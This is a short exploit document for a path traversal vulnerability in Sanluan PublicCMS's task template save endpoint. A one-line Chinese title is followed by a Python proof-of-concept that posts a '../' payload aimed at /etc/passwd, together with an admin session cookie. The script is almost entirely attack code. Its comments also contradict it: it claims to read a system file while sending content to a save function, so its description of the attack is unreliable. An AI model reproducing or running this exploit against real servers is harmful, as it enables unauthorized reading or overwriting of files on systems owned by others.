CVE-2026-1111 Sanluan PublicCMS TaskTemplateAdminController路径遍历漏洞

import requests import urllib.parse # CVE-2026-1111 PoC - Path Traversal in Sanluan PublicCMS # Target: Sanluan PublicCMS <= 5.202506.d # Component: TaskTemplateAdminController.java Save function target_url = "http://target.com/publiccms" # Path traversal payload to read /etc/passwd traversal_payload = "../../../../../../etc/passwd" # Construct the malicious request endpoint = f"{target_url}/sys/taskTemplate/save" params = { "path": traversal_payload, "fileName": "test.txt", "content": "malicious content" } # Since PR:H is required, we need valid admin credentials cookies = { "JSESSIONID": "your_admin_session_id" } try: response = requests.post(endpoint, params=params, cookies=cookies, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")